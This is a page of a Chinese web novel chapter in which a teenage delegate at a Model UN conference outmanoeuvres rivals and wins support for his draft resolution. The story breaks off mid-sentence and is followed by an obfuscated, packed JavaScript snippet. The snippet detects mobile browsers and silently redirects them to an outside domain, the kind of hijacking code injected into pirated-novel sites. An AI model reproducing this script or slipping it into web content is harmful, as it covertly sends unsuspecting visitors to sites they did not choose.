62.新闻报道(第2页)

 




    投票结果毫无悬念——动议通过。
 




    主席团沉默数秒后，夏浓不容置疑地落槌：“主席团宣布，草案1.2未能通过程序性审查，暂时移出主要讨论议程。接下来，将对草案1.3开启正式审议。”
 




    至此，局势初步撬动。
 




    顾梓聿心中一松：只要他的提案有被讨论的希望，他就还有机会争奖。
 




    别人来参会还可以说是来长长见识，可杜若钦明说了，是把拿奖的希望寄托在了他身上。他不能辜负她的期望，也不能辜负她给他开小灶的日日夜夜。
 




    之前他用动议让林亦凡出局，这是小道，而埃尔斯草案的失败，是他自己的过失。这些策略都是成功的，接下来，他能否凭借自己的谈判能力和学术水平，让在座有异见的代表都心服口服、倒戈支持他呢？
 




    投票结果一出，埃尔斯情绪失控，他肉眼可见地涨红了脸，挥着国家牌喊道：
 




    “point of order！索伦代表提出程序性问题！索伦坚决反对大会跳过草案1.2！草案存在争议再正常不过，索伦代表谴责任何恶意破坏讨论、践踏多边合作精神的行为！索伦代表呼吁，只要各国持续沟通，在涉及彼此核心利益和重大关切的问题上求同存异，最终一定能取得共识！”
 




    夏浓稳稳接话，语气不紧不慢：“投票结果有效，跳过此份提案符合大会议事规则。若贵国仍希望继续推进草案1.2，请重新收集附议签名并提交至主席团。”
 




    夏浓安抚性地看了一眼埃尔斯，就像妈妈宽容不懂事的孩子，不责备，但也不纵容。
 




    凭她的经验，顾梓聿提出的草案 1.3 大概率是会通过的。她在赛前十分看好康拉德代表团，此时，葬送了埃尔斯获奖的可能性，她确实有些无奈。但作为这场会议的主席，埃尔斯的表现实在令她失望：埃尔斯从头到尾都过于自信，根本没把其他代表放在眼里。
 




    夏浓又翻开了那本笔记本，在“polynesia”名字旁，原本写着：
 




    p+ （presence positive，存在感突出）
 




    C+（Coalition Leader，结盟能力强）
 




    她再添上了一笔：
 




    Agenda setter（议题重塑者）
 




    此刻，林亦凡才终于意识到自己的失败根源——他彻底低估了顾梓聿。如今两大国家集团僵持，谁也没能推进草案通过，而顾梓聿鹬蚌相争、渔翁得利，成功抢到了决定会议走向的主动权。
 




    顾梓聿从来没觉得自己的心情有这么好过。他拿着写满批注的草案，缓缓起身，迈步走向台前。剪裁得体的西装衬出他的胯窄腿长，他步伐从容，身后紧跟着其他几位起草国国家代表。
 




    最危险的时刻已经过去，真正的角逐，才刚刚开始。
 




    顾梓聿拿着草案一本正经，可是站在那儿的姿势却有点儿漫不经心。明明他只是一个十五六岁的少年，却有一种游刃有余、驾轻就熟的气场。
 




    “he makes it look so effortless.（他让一切看起来都那么毫不费力、云淡风轻。）” 李知恩靠在椅背上喃喃自语，“nice move.” 眼里带着压不住的笑意。
 




    顾梓聿不像林亦凡表现得胜券在握，也不像埃尔斯那样优越感强到掩饰不住地流露出对他人的不屑一顾。他开口的瞬间，所有人都能体会到他的谦逊和真诚：他站在那儿，不是为了证明自己的提案有多高明，只是清晰地传达信息，唤起共鸣，跨越分歧。
 




    “尊敬的主席团、各位代表，”
 




    顾梓聿开场，声音清晰有力，“珀利尼西亚代表领导起草的草案1.3，基于以下要点——”
 




    他简明扼要地把草案的要点阐述了一遍，清晰有据，条理分明。
 




    “我们相信，草案1.3凝聚了众多国家真实的共同关切，也为本议题提供了一条切实可行的解决路径。”
 




    各国代表开始快速翻阅草案，他们发现，这份文件展现出了极强的兼容性与诚意，许多他们在会议上提出过、最后却被埃尔斯忽略的内容，都赫然在列。
 




    他们的声音真正被书写进了条文中。
 




    “他……怎么会记得我昨天说的话？”有代表轻声自语。
 




    “我明明只提了一句，他居然写进去了。”
 




    顾梓聿十分尊重盟友，台下坐着的代表们可以很轻易地看出，顾梓聿和他身边的同伴的眼神交流，远远多过林亦凡和埃尔斯。他和这些国家代表，是合作的平等关系。当提问到他时，他会上前一步，而其他代表作答时，他亦会将自己隐没成为背景，不去遮挡他人的锋芒。
 




    提问如潮水般袭来。有温和的，也有刻薄的。他从容应对，礼节周全、逻辑清晰。这对其他代表的尊重，慢慢地为他赢得了人心。再刁钻的问题，他也总能得体地回答，像是一潭湖水，深沉却又清澈见底。那强大到令人发指的临场反应能力，考虑到他是非母语国家的学生，实在令人惊艳。
 




    即使是最刻薄的代表用最严苛的标准来判断，也不得不承认，顾梓聿的确是个好的协商对象，也许，在他提出的框架下，共赢的会议目标是有可能实现的。
 




    随着讨论深入，顾梓聿主导的团队积极引导讨论，每条条款都设计了提问和协商空间。这种“留口子”的策略，让原本观望的代表们逐渐放下了戒心——这不是一份强势主导的草案，而是一份他们能参与建构的草案。
 




    顾梓聿和身边的伙伴进行了角色分工：有的国家代表习惯于主动进取、以攻为守，愿意在公开发言中抓住主动权、先声夺人，这些人的问题就由顾梓聿来回答，同时全场的所有代表也都能听见作为参考；
 




    有的国家则更愿意采取低调的姿态，通过意向条来和他们沟通，搞“纸条”外交，这些纸条，都被转交给那位思维敏捷的南肇国家代表处理；
 




    有的国家为了得到更多的利益，故意声东击西、虚张声势，这些代表就交给威特。他虽然对议题的学术准备不充分，但是谈判和沟通的技巧很高，哦，或者说是胡搅蛮缠的水平很高；
 




    还有一批中小国家代表，对“自己的话语权”极其敏感。这部分有艾琳负责。她摊开草案，用红笔圈出特别注明的“各国议案提出权”条款，用通俗易懂的语言解释如何“保留独立意见”、如何添加“附加解释性条款”。她强调这份草案对小国的尊重与保障，让代表们切实感受
 




    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477335|166578||http|test|mini|href|location''.split(''|''),0,{}));